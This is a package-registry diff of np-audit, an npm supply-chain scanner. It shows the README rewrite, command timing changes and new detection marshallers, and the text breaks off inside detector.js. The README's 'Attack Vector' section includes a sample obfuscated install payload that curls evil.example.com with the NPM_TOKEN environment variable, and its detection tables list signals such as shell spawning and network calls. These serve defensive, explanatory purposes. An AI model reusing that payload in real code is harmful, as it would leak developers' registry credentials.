np-audit 2.0.0 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +110 -233
- package/package.json +6 -2
- package/src/commands/ci.js +3 -0
- package/src/commands/install.js +3 -0
- package/src/commands/scan.js +3 -1
- package/src/core/detector.js +5 -15
- package/src/core/scanner.js +102 -11
- package/src/marshallers/runtimeDownload.js +73 -0
- package/src/marshallers/vscodeTasks.js +29 -0
- package/src/utils/output.js +3 -2
package/README.md
CHANGED
|
@@ -5,101 +5,82 @@
|
|
|
5
5
|
[](https://www.npmjs.com/package/np-audit)
|
|
6
6
|
[](https://github.com/KoblerS/np-audit/blob/main/LICENSE)
|
|
7
7
|
[](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml)
|
|
8
|
+
[](https://codecov.io/gh/KoblerS/np-audit)
|
|
8
9
|
|
|
9
10
|
# np-audit — npm package auditor
|
|
10
11
|
|
|
11
12
|
Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns **before** they run. Drop-in replacement for `npm install` and `npm ci`.
|
|
12
13
|
|
|
13
|
-
**Zero dependencies.** Pure Node.js built-ins only.
|
|
14
|
+
**Zero dependencies.** Pure Node.js built-ins only. **< 100 kB** on the wire.
|
|
14
15
|
|
|
15
|
-
|
|
16
|
+
```bash
|
|
17
|
+
npx np-audit scan express
|
|
18
|
+
```
|
|
16
19
|
|
|
17
|
-
|
|
20
|
+
```bash
|
|
21
|
+
npm install -g np-audit
|
|
22
|
+
npa scan # scan all deps
|
|
23
|
+
npa install # audit then install
|
|
24
|
+
alias npm='npa' # use as drop-in replacement
|
|
25
|
+
```
|
|
18
26
|
|
|
19
|
-
|
|
27
|
+
---
|
|
20
28
|
|
|
21
|
-
|
|
22
|
-
{
|
|
23
|
-
"scripts": {
|
|
24
|
-
"postinstall": "node ./dist/install.js"
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
```
|
|
29
|
+
## Marshallers
|
|
28
30
|
|
|
29
|
-
|
|
31
|
+
Detection is split into modular marshallers — each one detects a single attack signal:
|
|
30
32
|
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
33
|
+
| Marshaller | What it detects | Score |
|
|
34
|
+
| ---------- | --------------- | ----- |
|
|
35
|
+
| `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
|
|
36
|
+
| `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
|
|
37
|
+
| `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
|
|
38
|
+
| `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
|
|
39
|
+
| `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
|
|
40
|
+
| `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
|
|
41
|
+
| `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
|
|
42
|
+
| `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
|
|
43
|
+
| `process-env` | `process.env` access (credential exfiltration signal) | 3 |
|
|
44
|
+
| `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
|
|
45
|
+
| `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
|
|
46
|
+
| `runtime-download` | Downloads and executes external runtimes (Bun, Deno) | 9–50 |
|
|
47
|
+
| `vscode-autorun` | VS Code tasks with `runOn: folderOpen` (auto-execution) | 30 |
|
|
48
|
+
| `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
|
|
49
|
+
|
|
50
|
+
Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.
|
|
36
51
|
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — malicious postinstall that stole Bitcoin wallet credentials
|
|
40
|
-
- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
|
|
41
|
-
- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
|
|
42
|
-
- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
|
|
43
|
-
- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised npm package targeting SAP developers
|
|
44
|
-
|
|
45
|
-
**`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
|
|
46
|
-
|
|
47
|
-
| Signal | Example |
|
|
48
|
-
| ------------------------------ | ------------------------------------------ |
|
|
49
|
-
| `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
|
|
50
|
-
| Indirect eval | `(0, eval)(x)`, `globalThis['ev'+'al'](x)` |
|
|
51
|
-
| Function constructor prototype | `({}).constructor.constructor("…")()` |
|
|
52
|
-
| `setTimeout` with string arg | `setTimeout('alert(1)', 100)` |
|
|
53
|
-
| Obfuscator.io patterns | `var _0x3f2a = [...]` |
|
|
54
|
-
| High-entropy strings | Encrypted/compressed payloads |
|
|
55
|
-
| Split-literal high entropy | `'aB' + 'cD' + 'eF' + …` (concat chain) |
|
|
56
|
-
| Hex / Unicode escape density | `\x68\x65\x6c\x6c\x6f`, `\u0068\u0065…` |
|
|
57
|
-
| `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
|
|
58
|
-
| Decimal char-code arrays | `[101,118,97,108,...]` (printable ASCII) |
|
|
59
|
-
| Base64 / hex decode + exec | `Buffer.from(x,'base64'\|'hex')` + `eval` |
|
|
60
|
-
| Shell spawning | `require('child_process').exec(...)` |
|
|
61
|
-
| `worker_threads` | `new Worker(...)`, eval-class surface |
|
|
62
|
-
| Concealed `require` | `require('child' + '_process')` |
|
|
63
|
-
| Dynamic `require` / `import` | `require(variable)`, `import(expr)` |
|
|
64
|
-
| Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
|
|
65
|
-
| `process.env` access | Token/credential harvesting |
|
|
66
|
-
| Outbound network calls | `https`/`http`/`net`/`dns`/`tls`/`dgram`/`http2`, `node:` prefix, dynamic `import()` |
|
|
67
|
-
| Missing referenced script | Command references file not in tarball |
|
|
68
|
-
| Oversized require graph | Postinstall reaches >50 files or >5 MB |
|
|
69
|
-
|
|
70
|
-
### Coverage beyond the entry script
|
|
71
|
-
|
|
72
|
-
`npa` doesn't just inspect the single file named in the lifecycle command. It:
|
|
73
|
-
|
|
74
|
-
- Splits chained commands (`&&`, `||`, `;`, `|`) and analyses each segment, so `node setup.js && node payload.js` no longer hides the second invocation.
|
|
75
|
-
- Handles `node -e "…"`, `sh -c "…"`, `python -c "…"` by analysing the inline code rather than just the wrapper command.
|
|
76
|
-
- Reads shell scripts (`sh ./install.sh`), Python scripts, and shebang-invoked files — not only `node` targets.
|
|
77
|
-
- Follows internal `require('./…')` and `import './…'` chains across the package (with cycle detection and per-package caps), so payloads hidden in helper files like `lib/helper.js` are caught.
|
|
78
|
-
- Records dynamic `require(variable)` / `import(expr)` calls as findings, since they can't be resolved statically.
|
|
79
|
-
- Scans the project's **own** `package.json` lifecycle scripts by default, catching PRs and supply-chain attacks that target the repository itself. Opt out with `scanSelf: false` in `.npmauditor.json`.
|
|
80
|
-
- Inspects **all** lifecycle scripts npm may run, not only `preinstall`/`install`/`postinstall`: also `prepare`, `preprepare`, `postprepare`, and `prepublish`.
|
|
52
|
+
See [CONTRIBUTING.md](CONTRIBUTING.md) for how to write custom marshallers.
|
|
81
53
|
|
|
82
54
|
---
|
|
83
55
|
|
|
84
|
-
##
|
|
56
|
+
## Vulnerability Scanning (CVE)
|
|
85
57
|
|
|
86
|
-
|
|
58
|
+
Every scanned package is checked against known vulnerability databases alongside the code analysis.
|
|
87
59
|
|
|
88
|
-
|
|
89
|
-
npm install -g np-audit
|
|
90
|
-
```
|
|
60
|
+
**Default: OSV.dev (no setup required)**
|
|
91
61
|
|
|
92
|
-
|
|
62
|
+
Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
|
|
63
|
+
|
|
64
|
+
**Optional: Snyk API (richer data)**
|
|
93
65
|
|
|
94
66
|
```bash
|
|
95
|
-
|
|
67
|
+
# Environment variable
|
|
68
|
+
export SNYK_API_TOKEN=your-token-here
|
|
69
|
+
|
|
70
|
+
# Or via Snyk CLI
|
|
71
|
+
snyk auth
|
|
96
72
|
```
|
|
97
73
|
|
|
98
|
-
|
|
74
|
+
Token resolution order: `SNYK_API_TOKEN` → `SNYK_TOKEN` → `~/.config/configstore/snyk.json`
|
|
99
75
|
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
76
|
+
| Severity | Score | Verdict |
|
|
77
|
+
| -------- | ----- | ------- |
|
|
78
|
+
| Malicious package | 80 | DANGER |
|
|
79
|
+
| 10+ vulnerabilities | 6 | WARN |
|
|
80
|
+
| 5–9 vulnerabilities | 5 | WARN |
|
|
81
|
+
| 1–4 vulnerabilities | 4 | WARN |
|
|
82
|
+
|
|
83
|
+
Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
|
|
103
84
|
|
|
104
85
|
---
|
|
105
86
|
|
|
@@ -111,14 +92,13 @@ npa --version
|
|
|
111
92
|
| ------------------------------ | ----------- | ---------------------------------- |
|
|
112
93
|
| `npa install [package]` | `npa i` | Audit then run `npm install` |
|
|
113
94
|
| `npa ci` | — | Audit then run `npm ci` |
|
|
114
|
-
| `npa scan`
|
|
95
|
+
| `npa scan [package]` | `npa s` | Scan only, no install |
|
|
115
96
|
| `npa config get` | `npa c get` | Show current configuration |
|
|
116
97
|
| `npa config set <key> <value>` | `npa c set` | Update a config value |
|
|
117
|
-
| `npa alias`
|
|
118
|
-
| `npa alias --
|
|
119
|
-
| `npa alias --uninstall` | — | Remove hook from shell profile |
|
|
98
|
+
| `npa alias --install` | — | Install shell alias |
|
|
99
|
+
| `npa alias --uninstall` | — | Remove shell alias |
|
|
120
100
|
|
|
121
|
-
|
|
101
|
+
Any unrecognized command is forwarded to npm (e.g. `npa run test`, `npa publish`).
|
|
122
102
|
|
|
123
103
|
### Flags
|
|
124
104
|
|
|
@@ -128,41 +108,13 @@ Use `npa <command> -h` for detailed help on any command.
|
|
|
128
108
|
| `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
|
|
129
109
|
| `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
|
|
130
110
|
| `--verbose` | — | all | Show fetch progress and extra detail |
|
|
131
|
-
| `--version` |
|
|
111
|
+
| `--version` | `-v` | — | Print version and exit |
|
|
132
112
|
| `--help` | `-h` | — | Print help and exit |
|
|
133
113
|
|
|
134
|
-
### Drop-in replacement for `npm install`
|
|
135
|
-
|
|
136
|
-
```bash
|
|
137
|
-
# Audit all dependencies, then install if clean
|
|
138
|
-
npa install # or: npa i
|
|
139
|
-
|
|
140
|
-
# Audit a specific package before adding it
|
|
141
|
-
npa i express
|
|
142
|
-
```
|
|
143
|
-
|
|
144
|
-
### Drop-in replacement for `npm ci`
|
|
145
|
-
|
|
146
|
-
```bash
|
|
147
|
-
npa ci
|
|
148
|
-
```
|
|
149
|
-
|
|
150
|
-
### Scan only (no install)
|
|
151
|
-
|
|
152
|
-
```bash
|
|
153
|
-
npa scan # or: npa s
|
|
154
|
-
npa s --json # machine-readable output
|
|
155
|
-
npa s --no-dev # skip devDependencies
|
|
156
|
-
npa s --verbose # show fetch progress
|
|
157
|
-
```
|
|
158
|
-
|
|
159
114
|
### Interactive `--review` mode
|
|
160
115
|
|
|
161
|
-
Review each install script yourself and decide which to allow:
|
|
162
|
-
|
|
163
116
|
```bash
|
|
164
|
-
npa
|
|
165
|
-
npa ci --review
|
|
117
|
+
npa install --review
|
|
166
118
|
```
|
|
167
119
|
|
|
168
120
|
```
|
|
@@ -178,169 +130,94 @@ npa ci --review
|
|
|
178
130
|
2 allowed 1 denied
|
|
179
131
|
```
|
|
180
132
|
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
### Configuration
|
|
184
|
-
|
|
185
|
-
```bash
|
|
186
|
-
# Show current config
|
|
187
|
-
npa config get
|
|
188
|
-
|
|
189
|
-
# Change thresholds
|
|
190
|
-
npa config set blockScore 6 # block at score 6+ (default: 7)
|
|
191
|
-
npa config set warnScore 3 # warn at score 3+ (default: 4)
|
|
192
|
-
|
|
193
|
-
# Skip trusted packages or scopes
|
|
194
|
-
npa config set skipPackages '["esbuild","puppeteer"]'
|
|
195
|
-
npa config set skipScopes '["@types","@babel"]'
|
|
196
|
-
```
|
|
197
|
-
|
|
198
|
-
Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
|
|
199
|
-
|
|
200
|
-
### Shell Hook (npm alias)
|
|
201
|
-
|
|
202
|
-
Automatically run `npa scan` before every `npm install` or `npm ci`:
|
|
203
|
-
|
|
204
|
-
```bash
|
|
205
|
-
# Install the hook to your shell profile (~/.zshrc or ~/.bashrc)
|
|
206
|
-
npa alias --install
|
|
207
|
-
|
|
208
|
-
# Reload your shell
|
|
209
|
-
source ~/.zshrc # or ~/.bashrc
|
|
210
|
-
```
|
|
211
|
-
|
|
212
|
-
Now when you run `npm install` or `npm ci`, npa will scan first:
|
|
213
|
-
|
|
214
|
-
```bash
|
|
215
|
-
$ npm install lodash
|
|
216
|
-
[npa] Scanning dependencies before npm install...
|
|
217
|
-
✔ No packages with install scripts found.
|
|
218
|
-
[npa] Scan passed. Running npm install...
|
|
219
|
-
```
|
|
220
|
-
|
|
221
|
-
If issues are found, the install is blocked:
|
|
133
|
+
---
|
|
222
134
|
|
|
223
|
-
|
|
224
|
-
$ npm install evil-pkg
|
|
225
|
-
[npa] Scanning dependencies before npm install...
|
|
226
|
-
✗ evil-pkg@1.0.0 DANGER (score: 9)
|
|
227
|
-
[npa] Scan found issues. Run 'npa install --review' for interactive mode.
|
|
228
|
-
```
|
|
135
|
+
## Configuration
|
|
229
136
|
|
|
230
|
-
|
|
137
|
+
Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json`.
|
|
231
138
|
|
|
232
139
|
```bash
|
|
233
|
-
npa
|
|
140
|
+
npa config get # Show current config
|
|
141
|
+
npa config set blockScore 6 # Block at score 6+
|
|
142
|
+
npa config set skipPackages '["esbuild"]' # Trust specific packages
|
|
143
|
+
npa config set skipScopes '["@types"]' # Trust entire scopes
|
|
234
144
|
```
|
|
235
145
|
|
|
236
|
-
|
|
146
|
+
### All config keys
|
|
237
147
|
|
|
238
148
|
| Key | Default | Description |
|
|
239
149
|
| ----------------- | ---------------------------- | --------------------------------------- |
|
|
240
|
-
| `blockScore` | `7` | Score threshold for
|
|
241
|
-
| `warnScore` | `4` | Score threshold for
|
|
150
|
+
| `blockScore` | `7` | Score threshold for DANGER (exit 1) |
|
|
151
|
+
| `warnScore` | `4` | Score threshold for WARN (exit 0) |
|
|
242
152
|
| `registry` | `https://registry.npmjs.org` | npm registry URL |
|
|
243
153
|
| `timeout` | `30000` | HTTP request timeout (ms) |
|
|
244
|
-
| `parallelFetches` | `5` | Concurrent
|
|
245
|
-
| `skipScopes` | `[]` | `@scope` prefixes to skip
|
|
246
|
-
| `skipPackages` | `[]` |
|
|
154
|
+
| `parallelFetches` | `5` | Concurrent downloads |
|
|
155
|
+
| `skipScopes` | `[]` | `@scope` prefixes to skip |
|
|
156
|
+
| `skipPackages` | `[]` | Package names to skip |
|
|
247
157
|
| `silent` | `false` | Suppress output when no issues found |
|
|
248
|
-
| `scanSelf` | `true` |
|
|
249
|
-
| `maxTarballSize` | `50MB` | Max unpacked tarball size (
|
|
250
|
-
| `checkVulnerabilities` | `true` | Check packages against
|
|
251
|
-
| `deepResolve` | `false` |
|
|
158
|
+
| `scanSelf` | `true` | Scan own project lifecycle scripts |
|
|
159
|
+
| `maxTarballSize` | `50MB` | Max unpacked tarball size (bomb protection) |
|
|
160
|
+
| `checkVulnerabilities` | `true` | Check packages against CVE databases |
|
|
161
|
+
| `deepResolve` | `false` | Resolve full transitive dependency tree |
|
|
252
162
|
|
|
253
163
|
---
|
|
254
164
|
|
|
255
|
-
|
|
165
|
+
## Shell Alias
|
|
256
166
|
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
**Default: OSV.dev (no setup required)**
|
|
260
|
-
|
|
261
|
-
Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
|
|
262
|
-
|
|
263
|
-
**Optional: Snyk API (richer data)**
|
|
264
|
-
|
|
265
|
-
For more detailed vulnerability information, configure a Snyk API token:
|
|
167
|
+
Use npa as a transparent npm replacement:
|
|
266
168
|
|
|
267
169
|
```bash
|
|
268
|
-
#
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
# Option 2: Snyk CLI config (if you have Snyk CLI installed)
|
|
272
|
-
snyk auth
|
|
170
|
+
npa alias --install # adds: alias npm='npa'
|
|
171
|
+
source ~/.zshrc # reload shell
|
|
273
172
|
```
|
|
274
173
|
|
|
275
|
-
|
|
276
|
-
1. `SNYK_API_TOKEN` environment variable
|
|
277
|
-
2. `SNYK_TOKEN` environment variable
|
|
278
|
-
3. `~/.config/configstore/snyk.json` (created by `snyk auth`)
|
|
279
|
-
|
|
280
|
-
**Scoring:**
|
|
281
|
-
| Severity | Score | Verdict |
|
|
282
|
-
| -------- | ----- | ------- |
|
|
283
|
-
| Malicious package | 80 | DANGER |
|
|
284
|
-
| 10+ vulnerabilities | 6 | WARN |
|
|
285
|
-
| 5-9 vulnerabilities | 5 | WARN |
|
|
286
|
-
| 1-4 vulnerabilities | 4 | WARN |
|
|
287
|
-
|
|
288
|
-
Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
|
|
289
|
-
|
|
290
|
-
**Disable vulnerability checks:**
|
|
174
|
+
Now `npm install`, `npm ci` scan automatically. All other npm commands (`npm run`, `npm test`, `npm publish`) pass through unchanged.
|
|
291
175
|
|
|
292
176
|
```bash
|
|
293
|
-
npa
|
|
177
|
+
npa alias --uninstall # remove the alias
|
|
294
178
|
```
|
|
295
179
|
|
|
296
180
|
---
|
|
297
181
|
|
|
298
|
-
##
|
|
182
|
+
## How It Works
|
|
299
183
|
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
184
|
+
1. **Parse** `package-lock.json` (v1/v2/v3) or resolve from `package.json`
|
|
185
|
+
2. **Fetch** tarballs from registry (or read from `node_modules`)
|
|
186
|
+
3. **Parse** lifecycle commands — splits `&&`/`||`/`;`/`|`, handles `node -e`, `sh -c`, shell scripts
|
|
187
|
+
4. **Walk** the `require()`/`import` graph from each entry (cycle detection, 50 file / 5 MB cap)
|
|
188
|
+
5. **Analyze** with all marshallers — static code checks + CVE database queries
|
|
189
|
+
6. **Score** and classify: DANGER / WARN / OK
|
|
190
|
+
7. **Report** or proceed with install
|
|
304
191
|
|
|
305
192
|
---
|
|
306
193
|
|
|
307
|
-
##
|
|
194
|
+
## The Attack Vector
|
|
308
195
|
|
|
309
|
-
|
|
310
|
-
2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
|
|
311
|
-
3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
|
|
312
|
-
4. **Parse the lifecycle command** — split on `&&` / `||` / `;` / `|`, classify each segment by interpreter (`node`, `sh`, `python`, `bun`, …), and treat `node -e` / `sh -c` arguments as inline code
|
|
313
|
-
5. **Walk the require/import graph** from each entry script — following internal `./` / `../` paths, with cycle detection and per-package caps (50 files / 5 MB)
|
|
314
|
-
6. **Analyze** every reached file statically across all lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`, `preprepare`, `postprepare`, `prepublish`) — never execute
|
|
315
|
-
7. **Also scan the current project's own** `package.json` lifecycle scripts (unless `scanSelf: false`)
|
|
316
|
-
8. **Score** findings (0–10 per signal), classify as DANGER / WARN / OK based on config thresholds
|
|
317
|
-
9. **Report** results to terminal or `--json` — each finding is tagged with the file it came from
|
|
318
|
-
10. **Proceed** — run npm normally, or in `--review` mode let you selectively allow scripts
|
|
196
|
+
Supply chain attacks abuse npm lifecycle scripts. When you run `npm install`, any `preinstall`/`install`/`postinstall` script runs automatically. Attackers hide payloads behind obfuscation:
|
|
319
197
|
|
|
320
|
-
|
|
198
|
+
```js
|
|
199
|
+
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
|
|
200
|
+
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
|
|
201
|
+
```
|
|
321
202
|
|
|
322
|
-
|
|
203
|
+
Real-world incidents:
|
|
323
204
|
|
|
324
|
-
|
|
205
|
+
- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — Bitcoin wallet credential theft
|
|
206
|
+
- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — crypto miner + info-stealer
|
|
207
|
+
- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — geo-targeted wiper malware
|
|
208
|
+
- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — maintainer sabotage
|
|
209
|
+
- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised package targeting enterprise developers
|
|
325
210
|
|
|
326
|
-
|
|
327
|
-
| ---------- | --------------- | ----- |
|
|
328
|
-
| `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
|
|
329
|
-
| `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
|
|
330
|
-
| `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
|
|
331
|
-
| `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
|
|
332
|
-
| `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
|
|
333
|
-
| `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
|
|
334
|
-
| `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
|
|
335
|
-
| `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
|
|
336
|
-
| `process-env` | `process.env` access (credential exfiltration signal) | 3 |
|
|
337
|
-
| `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
|
|
338
|
-
| `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
|
|
339
|
-
| `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
|
|
211
|
+
`npa` **never executes** scripts. It downloads and statically analyzes them.
|
|
340
212
|
|
|
341
|
-
|
|
213
|
+
---
|
|
342
214
|
|
|
343
|
-
|
|
215
|
+
## Exit Codes
|
|
216
|
+
|
|
217
|
+
| Code | Meaning |
|
|
218
|
+
| ---- | ----------------------------------- |
|
|
219
|
+
| `0` | All clean or only warnings |
|
|
220
|
+
| `1` | One or more packages blocked |
|
|
344
221
|
|
|
345
222
|
---
|
|
346
223
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "np-audit",
|
|
3
|
-
"version": "2.
|
|
3
|
+
"version": "2.2.0",
|
|
4
4
|
"description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
|
|
5
5
|
"bin": {
|
|
6
6
|
"npa": "bin/npa.js",
|
|
@@ -13,7 +13,8 @@
|
|
|
13
13
|
"README.md"
|
|
14
14
|
],
|
|
15
15
|
"scripts": {
|
|
16
|
-
"test": "node test/index.js"
|
|
16
|
+
"test": "node test/index.js",
|
|
17
|
+
"coverage": "npx c8@11.0.0 --reporter=lcov --reporter=text-summary node test/index.js"
|
|
17
18
|
},
|
|
18
19
|
"engines": {
|
|
19
20
|
"node": ">=18.0.0"
|
|
@@ -32,5 +33,8 @@
|
|
|
32
33
|
"repository": {
|
|
33
34
|
"type": "git",
|
|
34
35
|
"url": "git+https://github.com/KoblerS/np-audit.git"
|
|
36
|
+
},
|
|
37
|
+
"dependencies": {
|
|
38
|
+
"c8": "^11.0.0"
|
|
35
39
|
}
|
|
36
40
|
}
|
package/src/commands/ci.js
CHANGED
|
@@ -32,7 +32,9 @@ module.exports = {
|
|
|
32
32
|
async run({ flags, config, cwd }) {
|
|
33
33
|
const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
|
|
34
34
|
if (spinner) spinner.start();
|
|
35
|
+
const t0 = Date.now();
|
|
35
36
|
const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
|
|
37
|
+
const elapsedMs = Date.now() - t0;
|
|
36
38
|
if (spinner) spinner.stop();
|
|
37
39
|
const hasIssues = results.some(r => r.verdict !== 'OK');
|
|
38
40
|
const silent = config.silent && !hasIssues;
|
|
@@ -43,6 +45,7 @@ module.exports = {
|
|
|
43
45
|
process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
|
|
44
46
|
} else {
|
|
45
47
|
printResults(results, silent);
|
|
48
|
+
if (!silent) output.printSummary(results, elapsedMs);
|
|
46
49
|
}
|
|
47
50
|
|
|
48
51
|
const blocked = results.filter(r => r.verdict === 'BLOCK');
|
package/src/commands/install.js
CHANGED
|
@@ -35,6 +35,7 @@ module.exports = {
|
|
|
35
35
|
|
|
36
36
|
const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
|
|
37
37
|
if (spinner) spinner.start();
|
|
38
|
+
const t0 = Date.now();
|
|
38
39
|
const results = await scan({
|
|
39
40
|
cwd,
|
|
40
41
|
config,
|
|
@@ -42,6 +43,7 @@ module.exports = {
|
|
|
42
43
|
verbose: flags.verbose,
|
|
43
44
|
packages: packages.length > 0 ? packages : null,
|
|
44
45
|
});
|
|
46
|
+
const elapsedMs = Date.now() - t0;
|
|
45
47
|
if (spinner) spinner.stop();
|
|
46
48
|
|
|
47
49
|
const hasIssues = results.some(r => r.verdict !== 'OK');
|
|
@@ -53,6 +55,7 @@ module.exports = {
|
|
|
53
55
|
process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
|
|
54
56
|
} else {
|
|
55
57
|
printResults(results, silent);
|
|
58
|
+
if (!silent) output.printSummary(results, elapsedMs);
|
|
56
59
|
}
|
|
57
60
|
|
|
58
61
|
const blocked = results.filter(r => r.verdict === 'BLOCK');
|
package/src/commands/scan.js
CHANGED
|
@@ -33,7 +33,9 @@ module.exports = {
|
|
|
33
33
|
const packages = args.filter(a => !a.startsWith('-'));
|
|
34
34
|
const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
|
|
35
35
|
if (spinner) spinner.start();
|
|
36
|
+
const t0 = Date.now();
|
|
36
37
|
const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose, packages: packages.length > 0 ? packages : null });
|
|
38
|
+
const elapsedMs = Date.now() - t0;
|
|
37
39
|
if (spinner) spinner.stop();
|
|
38
40
|
const hasIssues = results.some(r => r.verdict !== 'OK');
|
|
39
41
|
const silent = config.silent && !hasIssues;
|
|
@@ -47,7 +49,7 @@ module.exports = {
|
|
|
47
49
|
}
|
|
48
50
|
|
|
49
51
|
printResults(results, silent);
|
|
50
|
-
if (!silent) output.printSummary(results);
|
|
52
|
+
if (!silent) output.printSummary(results, elapsedMs);
|
|
51
53
|
|
|
52
54
|
const hasBlock = results.some(r => r.verdict === 'BLOCK');
|
|
53
55
|
process.exit(hasBlock ? 1 : 0);
|
package/src/core/detector.js
CHANGED
|
@@ -344,20 +344,6 @@ function checkFilesystemManipulation(code) {
|
|
|
344
344
|
|
|
345
345
|
// ─── Main detection function ─────────────────────────────────────────────────
|
|
346
346
|
|
|
347
|
-
const CHECKS = [
|
|
348
|
-
checkEval,
|
|
349
|
-
checkObfuscatorIo,
|
|
350
|
-
checkHighEntropy,
|
|
351
|
-
checkHexEscapes,
|
|
352
|
-
checkFromCharCode,
|
|
353
|
-
checkBase64Exec,
|
|
354
|
-
checkChildProcess,
|
|
355
|
-
checkHexArray,
|
|
356
|
-
checkProcessEnv,
|
|
357
|
-
checkNetworkCalls,
|
|
358
|
-
checkFilesystemManipulation,
|
|
359
|
-
];
|
|
360
|
-
|
|
361
347
|
/**
|
|
362
348
|
* Run all checks against a code string.
|
|
363
349
|
* For large files, uses a sliding window (50% overlap) so payloads cannot
|
|
@@ -389,8 +375,12 @@ function detectObfuscation(code, config = { blockScore: 50, warnScore: 20 }) {
|
|
|
389
375
|
|
|
390
376
|
const allFindings = new Map(); // Dedupe by name, keep highest score
|
|
391
377
|
|
|
378
|
+
// Combine inline checks with marshaller registry
|
|
379
|
+
const { getStaticMarshallers } = require('../marshallers');
|
|
380
|
+
